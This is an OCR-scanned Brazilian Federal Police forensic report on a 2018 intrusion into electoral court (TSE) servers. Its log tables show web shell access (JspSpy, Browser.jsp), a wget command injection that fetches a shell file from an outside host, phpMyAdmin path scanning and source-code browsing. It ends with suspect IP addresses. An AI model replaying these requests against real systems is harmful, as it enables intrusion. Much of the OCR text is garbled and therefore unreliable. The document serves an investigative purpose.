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2.11;: .4 '~.' 4:: :1 4' 1' . 4/1-51 ~' 8;‘ .<..'»*r.~ ,/7»; - " 2*’.~'* '~1“*‘1.'~ .'»- ~'-‘= ..'~'-~."‘~‘8‘2‘¢'.. .-82*"-"=. .3‘ 5.28:-» -€‘~"§E>"< 7*‘ 4‘:~'.~i/;~‘"""-" Z4-“9 “F 1'17-“='L‘5,I~”!:-';""4?J3. ._4:#14 1 A » ~ .. . .mRGUMENT@§4»~ » $8 $4 4.»§@1,,i484%8 4%;I
66 19/04/2018,

06: 18127
10. 1 2.2.29
:63583:X1

10.1.|.127
:8080:X0

/teste/1ib/iqueryapi/api-b1'owse1'.js

67 19/04/2018,
06118127

10. 12.2.29
:65587:X1

10.1.|.127
:8080:X0

/teste/I1b/jque1'yapi/api-1oade1:.js

68 19/04/2018,
06:18:27

10. I 2.2.29
:63584:XI

10.1.I.127
:8080:X0

/teste/1ib/air/AC__Ru11ActiveConte11t._]s

69 19/04/2018,
06:19:59

10.l2.2.29
:61553:XI

10.1.1.127
:8080:X0

/16516/BI'OWS€-l'._IS|)?SOl'1=I&fi16:/V31"/WWW/I1llT11/1165])
commonsweb-api/110-scroI1-application.xm1

70 19/04/2018,
06:20:23

10. 12.2.29
:56703:X1

10.1.I.127
:8080:X0

/teste/B1'owse1'.jsp?sort=1&fi1e=/var/log/t0mcat6/cat
a|i11a.out

71 19/04/2018,
06:21 :24

10.12229
:53857:X|

I0.1.1.I27
:8080:X0

/teste-/Browse1'._]sp?so1“t=1&di1"=/

72 19/04/2018,
06:22:52

10. I 2.2.29
:57667:X1

I0.1.1.127
:8080:X0

/teste/B1'owser._i sp

73 19/04/2018,
06:24:15

10. 12.2.29
:61459:X1

10.1.|.127
:8080:X0

/te-ste-/.IspSpy.jsp

74 19/04/2018,
06:25:15

10. 12.2.29
:54637:X1

10.1.|.127
:8080:X0

/teste/JspSpy.jsp

75 19/04/2018,
06:26:09 .

10. 12.2.29
:5I639:X1

10.1.1.127
:8080:X0

/teste/J spSpy.j sp

76 19/04/2018,
06:43:28

I0. 12.2.29
:58636:X1

10.1.1.215
:8089:X0

/af/pqp.jsp?comment=wget *

77 19/04/2018,
06:45:05

10. 12.2.29
:62162:X1

10.1.I.215
:8089:X0

/af/pqp.jsp?comme11t=wget+http://apps3.tre-
rn .j us.b1:/clocumentos/atas/config/test/aq

78 19/04/2018,
06:46:10

10. 1 2.2.29
:62214:X1

10.1.1215
:8089:X0

/af/pqp.jsp?con1ment=wget+http://apps3tre-
rn .j us.br/doc-umentos/atas/config/test/aq

79 19/04/2018,
06:48:43

10.l2.2.29
:62424:XI

10.1.1.215
:8089:X0

/af/pqp.jsp?comment=wget+http://apps3.tre-
rn.jus.b1:/documentos/atas/config/test/aq '

80 19/04/2018,
10:05:55

I0. 12.2.29
:59409:X1

10.10.1241
:8080:X0

/teste/my__web_app.war * 8

81 19/04/2018,
10:18:34

I0. 12.2.29
:58337:X1

10.I2.I.182
:8080:X0

/af/pqp.jsp?comment=wget

82 19/04/2018,
10:19:35

IO. 12.2.29
:64425:X1

I0.12.1.I82
:8080:X0

/af/pqp._isp?comment=wget+http://apps3 ire-
rn.j us.br/documentos/atas/config/Browse1'.jsp.txt+-
O+/ /
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DATA ORIGEM DESTINO 1 ARGUMENTO

19/04/2018,
19:12:06

10.l2.2.29
:55050:X1

10.8.1.11
:8080:X0

/teste

19/04/2018,
19:13:15

10. 1 2.2.29
:60960:X1

10.8.1.1]
:8080:X0

/teste

19/04/2018,
19:51 :26

10.12.2.7
:45633:X1

10.8.1.1 1
:8080:X0

/Browser/Browselzjsp?s0rt=1&dir=/usr/l0ca|/t0mcat/
webapps

19/04/2018,
19:51:57

10.12.2.7
:45632:X1

10.8.1.11
:8080:X0

/Browser/Browserzjsp?.1a\/ascript

19/04/2018,
19:53:57

10.12.2.7
:58662:X1

10.8.1.1]
:8080:X0

/Browser/Browsenzjsp?sort=1&dir=/usr/10ca1/tomcat/
webapps/tre

19/04/2018,
19:54:41

10.12.2.7
:1485:X1

10.8.1.11
:8080:X0

/Browser/Browser.jsp?s0|1=1&di|=/usr/1oca1/tomcat/
we-bapps/tre/WEB- IN F/classes/sade

19/04/2018,
19:56:04

10.12.2.7
:10862:X1

10.8.1.1]
:8080:X0

/Browser/000.jsp

19/04/2018,
19:56:33

10.12.2.7
:13254:X1

10.8.1.11
:8080:X0

/Browser/000._jsp

19/04/2018,
19157113

10.12.2.7
:18299:X1

10.8.1.1 1
:8080:X0

/Browser/000._jsp

19/04/2018,
20:11:32

10.12.2.7
:45691:X1

10.8.1.1]
:8080:X0

/Browser/Browsenjsp?so|1=1 &d i1=/usr/10ca1/t0mcat/
webapps/tre/WEB-IN F/classes/sade

19/04/2018,
20:15:17

10.12.2.7
:6232:X1

10.8.1.11
:8080:X0

/B r0wser/Browser._isp?s0rt= 1 &d i 1=/usr/10ca1/tomcat/
webapps/tre/W EB-IN F/classes/supre

19/04/2018,
20:16:46

10.12.2.7
:17640:X1

10.8.1.11
:8080:X0

/Browser/Browser._jsp?so|1=1&di|=/usr/1oca1/t0mcat/
webapps/tre/WEB-[NF/classes/dne

19/04/2018,
2011731 1

10.12.2.7
:19690:X1

10.8.1.1]
:8080:X0

/Browser/Browsenjsp?s0rt=1&dir=/usr/10ca|/t0mcal/
webapps/tre/W EB-1N F/c Iasses/sas/conf

19/04/2018,
20:30:06

10.12229
:57704:X1

10.8.1.11
:8080:X0

/Browser/000.jsp

19/04/2018,
20:44:04

10.l2.2.29
:53575:X1

10.8.1.1]
:8080:X0

/Browser/000.jsp

19/04/2018,
20:59:22

10.12.2.7
:17601:X1

10.8.1.11
:8080:X0

/Browser/Browser.jsp?s0rt=1&dir=/usr/10ca1/t0mcat/
webapps/tre/WEB-IN F/classes/sas

19/O4/2018,
21:05:20

10.12.2.7
:55864:X1

10.8.1.1 1
:8080:X0

/Browser/Browser.jsp'?so|T=1&dir=/usr/1oca1/t0mcat/
webapps/tre/W EB- IN F/c Iasses

K_-é/
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INFORMAQAO N° 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuaoao)

”.'T>”' ~'

“W

~;,»¢.»;3o=~¢Y"”>""“"‘i‘fij

~~
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4"»;»,. 1 ~> a~ ‘= ».-. .>,-.1 ,2. , _" ,,,._ V). ':,-,--.<;- 1!/_; ,, '»~.g§_’<_,;--'_ V, »/.<-‘,3, ,1,‘ V ,3-‘ 1,

100 19/04/2018
21:08:52

10.12.2.7
:12679:X1

10.8.1.11
:8080:X0

/Browser/Browseltjsp?sort= I &fi1e=/usr/local/tomcat
/webapps/tre/WEB- ' »
INF/classes/componente_acesso% ~ ~

101 19/04/2018
21:32:13

10.12.2.7
12481 1:X1

10.8.1.11
:8080:X0

/Browser/Browseujsp?sort=1&dir=/usr/1oc-a|/tomcat/
webapps/tre/W EB-IN F/classes/gas ,

1 102 19/04/2018,
21:33:16

10.12.2.7
:36251:X1

10.8.1.1]
:8080:X0

/Browser/Bro\~vser.jsp?so11=1 &d i1=/usr/1oca1/tomcat/
webapps/consu1taO1'camenta1:ia/WEB-1NF/classes

103 19/04/2018,
22:01:58

10. 1 2.2.29
:62705:.X1

10.11.38
:8080:X0

/teste/J spSpy.j sp?o=v Login

104 19/04/2018,
22:02:29

10. 12.2.29
:63021:Xl

10.1.1.38
:8080:X0

/te-ste/.1spSpy._isp

. 105 20/04/2018
01:21:38

10. 1 2.2.29
:61092:X1

10.8.1.1l
:8080:X0

/Browser/000._isp

, 106 21/04/2018,
06:14:06

10. 1 2.2.29
:64769:X1

10.1.1.38
:8080:X0

/teste/.IspSpy.jsp

107 21/04/2018,
06:35:47

10. 1 2.2.29
:57429:X1

10.1.1.38
:8080:X0

/teste/JspSpy.jsp

108 21/04/2018,
07:05:38

10.12229
:53939:X1

10.1.1.38
:8080:X0

/te-ste/.|spSpy._isp

109 21/04/2018
07:13:09

10. 1 2.2.29
:60667:X1

10.1.l.38
:8080:X0

/teste/.lspSpy._j sp

110 21/04/2018
14:00:29

10.12.2.29
:50096:X1

10.1.1.38
:8080:X0

/teste»/J spSpy.jsp

1’ Entre as atividades detectadas, temos por exemplo 0 download de aflefatos

maliciosos (JspSpy.jsp e Browser.jsp) e a varredura de ponas em outros computadores. E

interessante notar que em um dos casos (linha 5, sombreada em cinza acima), 0 artefato

malicioso foi baixado do enderego IP 191.252.0.19, peflencente é empresa Locaweb Servigos

de Internet S/A.

Em relagfio aos fatos divulgados em novembro de 2018, foram realizadas buscas

‘ pelo enderego IP 10.30.l.229, 0 qual, segundo relatério fomecido pelo proprio TSE, continha
I um portal da Se<;5o de Voto Informatizado, SEVTN, com a indicagfio de link de dois servidores

de integragzfio continua (Jenkins), um em Windows e outroe 
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INFORMACAO N 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF (continuagao)

Foram identihcados acessos realizados a este endereqo IP ainda em abril de 2018,

oriundos dos enderegos IP l0.l2.2.33, 10.12.2.39 e 10.l2.2.29, 0 que indica que 0 possivel

hacker pode ter obtido acesso aos codigos-fonte ainda nesse periodo. Nos acessos, é possivel

perceber que sfio realizados testes para verificar a existéncia de ferramentas que possam ser

alvos de ataques, como por exemplo o PhpMyAdmin, nos computadores de destino, e que s50

acessados links condizentes com a captura de tela do servidor da SEVIN apresentada

relatorio do TSE, como as linhas sombreadas em cinza abaixo:

Q

Q
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INFORMAQO N° 002/2019-UTC/SRCC/CGPFAZ/DIC($/PF (continuagfio)

312 DATA ORIGEM DESTINO ARGUMENTO
_. 18/04/2018 00:56:01 10. 12.2.33: 15492:X1 10.30.1 .229:80:X0 /

1\) 18/04/2018 00:56:01 10.12.2.33:15774:X1 10.30. 1 .229:80:X0 /ncsi.txt
Ln 18/04/2018 00:56:02 10.12.2.33:16137:X1 10.30. 1 .229:80:X0 /phpmyadmin/
-A 18/04/2018 00:56:05 10. 12.2.33: 1 6260:Xl 10.30. 1 .229:80:X0 /phpMyAdmin/

U1 18/04/2018 00:56:06 10.l2.2.33:17497:X1 10.30.l.229:80:X0 /PMA/
O\ 18/04/2018 00:56:07 10.12.2.33:l7841:X1 10.30. 1 .229:80:X0 _[pma/
\| 18/04/2018 00:56:07 10.12.2.33:18169:X1 10.30. 1 .229:80:X0 /dbadmin/

O0 18/04/2018 00:56:07 l0.l2.2.33: 1 7999:X1 10.30. 1 .229:80:X0 /admin/
9 18/04/2018 00:56:09 10.12.2.33:18815:X1 10.30. 1 .229:80:X0 /myadmin/
10 18/04/2018 00:56:09 10.12.2.33:18286:X1 10.30. 1 .229:80:X0 /mysq1/
l 1 18/04/2018 00:56:11 10.l2.2.33:19305:X1 10.30. 1 .229:80:X0 /phpmyadmin2/
12 18/04/2018 00:56:11 10.l2.2.33:l9414:Xl 10.30. 1 .229:80:X0 /phpMyAdmin2/
13 18/04/2018 00:56:11 10.12.2.33: 1 8962:Xl l0.30.1 .229:80:X0 /openserver/phpmyadm1n/
14 18/04/2018 00:56:12 l0.12.2.33:19570:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2/
15 18/04/2018 00:56:13 l0.12.2.33:19912:X1 10.30. 1 .229:80:X0 /php-my-admin/
16 18/04/2018 00:56:13 10.12.2.33:20074:X1 10.30. 1 .229:80:X0 9/phpMyAdmin-2.2.3/
17 18/04/2018 00:56:14 10.12.2.33:20198:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.2.6/
18 18/04/2018 00:56:16 10.12.2.33:20526:Xl 10.30. 1 .229:80:X0 _/phpMyAdmin-2.5.1/
19 18/04/2018 00:56:17 10.12.2.33:21188:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.4/
20 18/04/2018 00:56:18 l0.12.2.33:21624:X1 10.30. 1 .229:80:X0 lphpMyAdmin-2.5.5-rc2/
21 18/04/2018 00:56:18 10.12.2.33:2l496:Xl 10.30. 1 .229:80:X0 /phpMyAdm1n-2.5.5-rc 1/
22 18/04/2018 00:56:19 10.12.2.33:2l776:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.5/
23 18/04/2018 00:56:19 10.12.2.33:22064:Xl 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.5-p11/
'24 18/04/2018 00:56:20 10. 12.2.33:22523:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.6/
25 18/04/2018 00:56:20 10.12.2.33:22388:X1 10.30.1 .229:80:X0 /phpMyAdmin-2.5.6-rc2/
26 18/04/2018 00:56:20 10.12.2.33:22229:X1 10.30.1 .229:80:X0 /phpMyAdmin-2.5 .6-rc 1/
27 18/04/2018 00:56:21 10.12.2.33:22727:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.7/
28 18/04/2018 00:56:22 10.12.2.33:2285 1:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.5.7-p11/
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1NFORMA&O N° 002/2019-UTC/SRCC/CGPFAZ/DICCQ/PF (continuaqfio)

29 18/04/2018 00:56:22 10.12.2.33:23007:Xl 10.30.l.229:80:X0 lphpMyAdmin-2.6.0-a1pha/
30 18/04/2018 00:56:23 10.12.2.33:23162:X1 10.30. 1 .229:80:X0 /phpMyAdm1n-2.6.0-a1pha2/
31 18/04/2018 00:56:24 10.12.2.33:23512:X1 10.30. 1 .229:80:X0 /phpMyAdm1n-2.6.0-beta1/
32 18/04/2018 00:56:24 10.l2.2.33:23970:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2 .6.0-beta2/
aw
J) 18/04/2018 00:56:25 10.12.2.33:24252:X1 10.30.l.229:80:X0 /phpMyAdmin-2.6.0-rc2/
34 18/04/2018 00:56:25 10.12.2.33:24122:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.0-rc1/
35 18/04/2018 00:56:26 10.12.2.33:24359:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.0-rc3/
36 18/04/2018 00:56:26 10.12.2.33:24506:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.0/
37 18/04/2018 00:56:27 10.12.2.33:24825:X1 10.30.l.229:80:X0 lphpMyAdmin-2.6.0-p11/
38 18/04/2018 00:56:28 10.12.2.33:24963:Xl 10.30.1 .229:80:X0 /J5hpMyAdmin-2.6.0-p12/
39 18/04/2018 00:56:28 10.12.2.33:25231:X1 10.30. 1 .229:80:X0 "/phpMyAdmin-2.6. 1 -rc 1/
40 18/04/2018 00:56:28 10.12.2.33:25079:X1 10.30.1 .229:80:X0 /phpMyAdmin-2.6.0-p13/
41 18/04/2018 00:56:29 10.12.2.33:25381:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.1-rc2/
42 18/04/2018 00:56:29 10.12.2.33:25491:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6. 1/
43 18/04/2018 00:56:30 10.12.2.33:25636:X1 10.30.l.229:80:X0 /ph_pMyAdmin-2.6.1-p11/
44 18/04/2018 00:56:31 10.12.2.33:25936:X1 10.30.l.229:80:X0 /phpMyAdmin-2.6.1-p12/
45 18/04/2018 00:56:34 10.12.2.33:26084:X1 10.30. 1 .229:80:X0 lphpMyAdmin-2.6.1-pl3/
46 18/04/2018 00:56:35 10.12.2.33:27510:X1 10.30. 1 .229:80:X0 f/phpMyAdmin-2.6.2-rc 1/
47 18/04/2018 00:56:35 10.12.2.33:27691:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2 .6.2-beta 1/
48 18/04/2018 00:56:36 10.12.2.33:27823:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2 .6.2-rc 1/
49 18/04/2018 00:56:37 10.12.2.33:28566:X1 10.30. 1 .229:80:X0 8/phpMyAdmin-2.6.2-p11/
50 18/04/2018 00:56:38 10.12.2.33:28718:X1 10.30. 1 .229:80:X0 "/phpMyAdm1n-2.6.3/
51 18/04/2018 00:56:38 10.12.2.33:28391:X1 10.30. 1 .229:80:X0 lphpMyAdmin-2.6.2/
52 18/04/2018 00:56:38 10.12.2.33:28899:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.3-rc1/
53 18/04/2018 00:56:40 10.12.2.33:29069:X1 10.30.l.229:80:X0 _/phpMyAdmin-2.6.3/
54 18/04/2018 00:56:41 10.12.2.33:30281:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.4-rc1/
55 18/04/2018 00:56:41 10.12.2.33:29637:X1 10.30. 1 .229:80:X0 i/phpMyAdmin-2.6.3-p11/

18/04/2018 00:56:42 10.12.2.33:30633:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.4-p12/S6

\i"& 18/04/2018 00:56:42 10.12.2.33:30463:X1 10.30. 1 .229:80:X0 j5hpMyAdmin-2.6.4-p11/
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58 18/04/2018 00:56:44 10.12.2.33:30837:X1 10.30. 1 .229:80:X0 /phpMyAdm1n-2.6.4-p13/
59 18/04/2018 00:56:44 10.12.2.33:31495:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.6.4-p14/
60 18/04/2018 00:56:46 10.12.2.33:31667:X1 10.30. 1 .229:80:X0 1/phpMyAdm1n-2.6.4/
61 18/04/2018 00:56:47 10.12.2.33:32377:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2 .7.0-beta 1/
62 18/04/2018 00:56:48 10.12.2.33:32791:X1 10.30. 1 .229:80:X0 fl)hpMyAdmin-2.7.0-rc1/
63 18/04/2018 00:56:49 10.12.2.33:33436:X1 10.30.1 .229:80:X0 /phpMyAdmin-2.7.0-p11/
64 18/04/2018 00:56:50 10.12.2.33:34S22:X1 10.30.l.229:80:X0 /phpMyAdmin-2.7.0/
65 18/04/2018 00:56:50 10.12.2.33:34091:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.7.0-p12/
66 18/04/2018 00:56:51 10.12.2.33:34685:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8.0-beta1/
67 18/04/2018 00:56:52 10.12.2.33:34880:X1 10.30. 1 .229:80:X0 fl)hpMyAdmin-2.8.0-rc 1/
68 18/04/2018 00:56:52 10.12.2.33:35317:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8.0-rc2/
69 18/04/2018 00:56:54 10.12.2.33:36082:X1 10.30.l.229:80:X0 /phpMyAdmin-2.8.0.2/
70 18/04/2018 00:56:54 10.12.2.33:35900:X1 10.30.l.229:80:X0 /phpMyAdmin-2.8.0.1/
71 18/04/2018 00:56:54 10.12.2.33:35494:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8.0/
72 18/04/2018 00:56:54 10.12.2.33:36257:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8.0.3/
73 18/04/2018 00:56:55 10.12.2.33:36449:X1 10.30. 1 .229:80:X0 ”/phpMyAdm1n-2.8.0.4/
74 18/04/2018 00:56:55 10.12.2.33:36589:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8.1-rc1/
75 18/04/2018 00:56:56 10.12.2.33:36767:X1 10.30. 1 .229:80:X0 /phpMyAdmin-2.8. 1/
76 18/04/2018 00:56:56 10.12.2.33:37109:X1 10.30. 1 .229:80:X0 /sq1manager/
77 18/04/2018 00:56:56 10.12.2.33:36958:X1 10.30. 1 .229:80:X0 */phpMyAdmin-2.8.2/
78 18/04/2018 00:56:57 10.12.2.33:37502:X1 10.30. 1 .229:80:X0 /p/m/a/
79 18/04/2018 00:56:57 10.12.2.33:37316:X1 10.30. 1 .229:80:X0 /mysq1manager/
80 18/04/2018 00:56:58 10.12.2.33:37685:X1 10.30.l.229:80:X0 /PMA2005/
81 18/04/2018 00:56:58 10.12.2.33:37892:X1 10.30. 1 .229:80:X0 /pma2005/
82 18/04/2018 00:56:59 10.12.2.33:38275:X1 10.30. 1 .229:80:X0 /phpmanager/
83 18/04/2018 00:57:00 10.12.2.33:38427:X1 10.30. 1 .229:80:X0 /php-myadmin/
84 18/04/2018 00:57:00 10.12.2.33:38943:X1 10.30. 1 .229:80:X0 /sqlweb/
85 18/04/2018 00:57:00 10.12.2.33:38794:X1 10.30. 1 .229:80:X0 /webadmin/

18/04/2018 00:57:00 10.12.2.33:38618:X1 10.30.l.229:80:X0 /phpmy-admin/

'J
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v1

87 18/04/2018 00:57:01 10.12.2.33:39l36:X1 10.30.1 .229:80:X0 /websq1/
88 18/04/2018 00:57:02 10.12.2.33:39293:X1 10.30. 1 .229:80:X0 /webdb/
89 18/04/2018 00:57:02 10.12.2.33:39434:X1 10.30. 1 .229:80:X0 /mysqladmin/
90 18/04/2018 00:57:03 10.12.2.33:39822:X1 10.30. 1 .229:80:X0 /mysq1-admin/
91 18/04/2018 16:11:20 10. 12.2.39: 19461 :Xl 10.30.] .229:80:X0 /
92 18/04/201816:11:20 10.12.2.39:19482:X1 1.0.30.1 .229:80:X0 /images/doxygenpng
93 18/04/2018 16:11:20 10.1.2.2.39:19462:X1 10.30.] .229:80:X0 /images/jenkinsjco
94 18/04/2018 16:11:20 10.12.2.39:1948l:X1 10.30.] .229:80:X0 / images/gradient2.png
95 18/04/2018 16:11:26 10.12.2.39:19460:X1 10.30. 1 .229:80:X0 /css-pop.js
96 18/04/201816:12:14 10.12.2.39:25819:X1 10.30.l.229:80:X0 /verificadorhash/verificaHash.php
97 18/04/2018 16:12:41 10.12.2.39:28252:X1 10.30. 1.229:80:X0 1/verificadorhash/up1oads/ - A

98 19/04/2018 04:38:45 10.12.2.7:22412:X1 10.30.1.35:80:X0 /api/timemachine/index?resource=br.j us.tse.e1eitoral:transportado
r-web&metrics=sqa1e_index%2Cdupl icated_lines_dens1

99 19/04/2018 04:40:48 10.12.2.7:44791:X1 10.30.1.35:80:X0 /api/measures/component_tree?ps=100&baseComponentKey=br.
jus.tse.e1eitora1ztransponador-web:src/main/java/b

100 19/04/2018 04:45:18 10.12.2.7:8900:X1 10.30.1.35:80:X0 /code/index?id=br.jus.tse.eleitoralzelo-parent

101 19/04/2018 04:45:18 10.12.2.7:7977:X1 10.30.1.35:80:X0 /api/components/sh0w?key=br.jus.tse.eleitora1zelo-parent

102 19/04/2018 05:00:37 10.12.2.29:55940:X1 192.168.202.99:80:X0 /eleitoral/titu1onet2

103 19/04/2018 05:00:49 10.l2.2.29:61838:X1 192.168.202.99:80:X0 /up1oads/-/system/projectlavatarl8 1 /secad_icn-c1rculo-processo-
e1eit0ra1.png

104 19/04/2018 05:03:34 10.12.2.29:65004:X1 192.168.202.99:80:X0 /eleitora1/processo-eleitora1-cadastro-
e1eitores/tree/stab]e/02_fontes/dominio/src

105 19/04/2018 05:05:13 10.12.2.7:8467:X1 192.168.202.99:80:X0 /eleitoral/e10/tree/stab1e/02_fontes/e1o-1ntegracao-ws-
bio/src/test/resources

N‘ 20 Q
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106 19/04/2018 05:07:58 10.12.2.7:21240:X1 192.168.202.99:80:X0 /e1eitoral/biometria/refs/stable/logs__tree/?format=js

107 19/04/2018 05:07:58 10.12.2.7:21241:X1 192.168.202.99:80:X0 /e1e1tora1/biometria/refs/stab1e/1ogs_tree/02_fontes?format=js

108 19/04/2018 05:08:22 10.12.2.7:27518:X1 192.168.202.99:80:X0 /eleitora1/biometria/blob/stab1e/02_fontes/serv1co-
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws/con

109 19/04/2018 05:08:56 10.12.2.7:31081:X1 192.168.202.99:80:X0 /e1eitoral/biometria/tree/stab1e/02_fontes/servico-
ws/src/main/j ava/br/j us/tse/eleitora1/biometria/servico/ws

110 19/04/2018 05:09:46 10.12.2.7:43547:X1 192.168.202.99:80:X0 /e1eitora1/biometria/tree/stable

111 19/04/2018 05:10:28 10.12.2.7:36992:X1 192.168.202.99:80:X0 /eleitora1/biometria/tree/stable/02_fontes/servico-
ws/src/main/j ava/br/jus/tse/eleitoral

112 19/04/2018 05:11:06 10.12.2.7:43548:X1 192.168.202.99:80:X0 /e1eitora1/biometria/refs/stab1e/logs_tree/?format=js

113 19/04/2018 05:11:06 10.12.2.7:43549:X1 192.168.202.99:80:X0 /e1e1toral/biometria/refs/stab1e/1ogs_tree/02_fontes?fom1at=js

114 19/04/2018 05:12:08 10.12.2.7:51307:X1 192.168.202.99:80:X0 /eleitoral/biometria/blob/stable/02_fontes/soap-
client/src/main/java/br/j us/tse/schemas/wsd1/biometria/assinatura

115 19/04/2018 05:15:10 10.12.2.7:13119:X1 192.168.202.99:80:X0 /e1eitoral/biometria/tree/stab1e/02_fontes/soap-
c1ient/src/main/java/br/jus/tse/schemas/

116 19/04/2018 05:16:17 10.12.2.7:20585:X1 192.168.202.99:80:X0 /eleitora1/biometria/tree/stable/02_fontes/servico/src/main/java/br
/j us/tse/eleitoral/biometrla/integracao

117 19/04/2018 05:19:20 10.12.2.7:29269:X1 192.168.202.99:80:X0 /eleitora1/configuracao/tree/stable/02_fontes/sewico

118 19/04/2018 05:19:37 10.12.2.7:35875:X1 192.168.202.99:80:X0 /eleitoral/configuracao/tree/stable

r~‘§1\9 19/04/2018 05:20:29 10.12.2.7:38041:X1 192.168.202.99:80:X0 /e1eitoral/configuracao/tree/stab1e/02_fontes91>»
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120 19/04/2018 22:26:27 10.12.2.29:60791:X1 192.168.202.31:8080:X0 /job/autenticador-biometrico-ho-buiId/bu11dHistory/ajax

121 19/04/2018 22:27:54 10.12.2.29:54147:X1 l92.168.202.31:8080:X0 /job/titu1onet2-qa/test/trend

122 19/04/2018 22:28: 10 10.12.2.29:50771:X1 192.168.202.31 :8080:X0 /job/autenticador-biometrico-ho-build/bui1dHisto1y/ajax

1123 19/04/2018 22:28:33 '10. l.2.2.29:57334:X1 192.168.202.31 :8080:X0 /job/titu1onet2-qa/br.jus.tse.eleitora1$titu1onet2/

.1 24 19/04/2018 22:28:43 10.12.2.29:5906l:X1 192.168.202.31 :8080:X0 /job/titulonet2-qa/brjus.tse.e1eitoral$titu1on.et2-domin10/

125 19/04/2018 22:28:43 10.12.2.29:59108:X1 192.168.202.31:8080:X0 /job/t1tu1onet2-qa/br.jus.tse.e1eitora1$titu1onet2-
dominio/test/trend

126 19/04/2018 22:28:49 10.12.2.29:S9156:Xl 192.168.202.31:8080:X0 /job/fitulonet2~qa/brjus.tse.e1eitoral$titu1onet2-
dominio/test/t.rendMap

127 19/04/2018 22:28:55 10.12.2.29:60257:X1 192.168.202.31 :8080:X0 /job/titu1onet2-qa/bui1dHistory/ajax

128 19/04/2018 22:37:40 10.12.2.29:63792:X1 192.168.202.31:8080:X0 /job/titu1onet2-qa/modules

129 19/04/2018 22:38:02 10.12.2.29:64388:X1 192.168.202.31 :8080:X0 /job/titu1onet2-qa/buildHistory/ajax

Obs.: linhas semelhantes (com datas aproximadas, mesmos enderegos IPs e argumento) ou com argumento vazio foram omitidas, para malor
1\‘1egibi1idade e concisao.
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CONCLUSAO

6'4

Considerando a analise apresentada acima, bem como a possibilidade de

vinculagzao dos eventos ocorridos em abril/2018 com a noticia divulgada em setembro/2018,

sugere-se oficiar as empresas supracitadas para que fomegam os dados cadastrais dos

enderegos IP utilizados nos acessos do usuario “digitro”, quais sejam:
7"—7"~'*" —~"""* ~ 7' """ * ' " "" ""71 W ""*’"'* 17"’ "'1? '””"" ‘“ ‘"

USUARIO DIGITRO

Organizagtfio

Responsavel
Enderego IP Data Inicio Data Término Pais

LOCAWEB
SERVIQOS DE
INTERNET S/A

191.252.64.20 17/04/2018 21:46:26 18/04/2018 06:36:35 Brasil

HYDRA
COMMUNICATI
LTD

ONS 195.140.215.13 17/04/2018 20:38:39 21/04/2018 15:02:57 Reino
Unido

NORDVPN-L1
TEFINCOM S.A.

185.153.176.4 17/04/201821:31:18 18/04/201819:12:14
185.153.176.5 18/04/2018 01:49:06 18/04/2018 02:19:32
185.l53.176.8 18/04/2018 02:25:21 18/04/2018 05:27:54
185.153.176.2 18/04/2018 02:37:52 18/04/2018 02:56:54
185.153.176.6 18/04/2018 03:04:47 18/04/2018 03:13:54

Panama

185.153.176.3 18/04/2018 03:20:35 18/04/2018 03:20:35
185.153.1769 20/04/2018 10:50:23 20/04/2018 15:15:42

CLARO S.A. 201.81.167.53 18/04/2018 03:15:28 21/04/2018 08:36:42
201.6.129.235 18/04/2018 05:24:54 18/04/2018 05:48:59 Brasil

189.40.75.154 18/04/2018 18:56:14 18/04/2018 18:56:14
191.51.34.72 18/04/2018 19:02:05 18/04/2018 19:13:08
189.40.75.239 18/04/2018 20:45:41 18/04/2018 23:14:54
177.219.117.183 18/04/2018 20:56:20 18/04/2018 20:56:20
189.40.72.247 18/04/2018 22:21:17 18/04/2018 22:21:17
189.40.72.14 18/04/2018 22:23:14 18/04/2018 22:23:14
189.40.91.135 18/04/2018 22:29:37 18/04/2018 23:14:52
189.40.90.239 19/04/2018 01:13:32 19/04/201801113132
189.40.90.253 19/04/2018 04:08:37 19/04/2018 04:08:37
189.40.88.15 19/04/2018 08:11:15 19/04/2018 08:11:16
189.40.74.26 19/04/2018 16:23:05 19/04/2018 17:29:14

TIM CELULAR S.A. 186.253.177.212 19/04/201818:05:13 19/04/201818:05:13 Brasil

189.40.73.163 19/04/2018 19:16:40 19/04/2018 19:16:40
189.40.74.205 19/04/2018 20:43:37 19/04/2018 20:43:37
189.40.74.87 19/04/2018 22:37:00 19/04/2018 23:05:03
181 .76.139.50 20/04/2018 01:20:59 20/04/2018 01:20:59
189.40.75.122 20/04/2018 05:00:09 20/04/2018 05:00:09
189.40.88.94 20/04/2018 07:57:59 20/04/2018 09:40:30
189.40.73.91 20/04/2018 10:32:32 20/04/2018 10:32:32
189.40.72.49 20/04/2018 19:30:32 20/04/2018 19:30:32
189.40.88.233 20/04/2018 23:01 :19 20/04/2018 23:01:19
189.40.74.155 20/04/2018 23:56:23 21/04/2018 00:11:45
189.40.88.14 21/04/2018 01:39:43 21/04/2018 01:39:43
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189409165 21/04/2018 06:55:36 21/04/2018 06:55:37
177 164 206 74 21/04/2018 07:52:19 21/04/2018 08:36:40
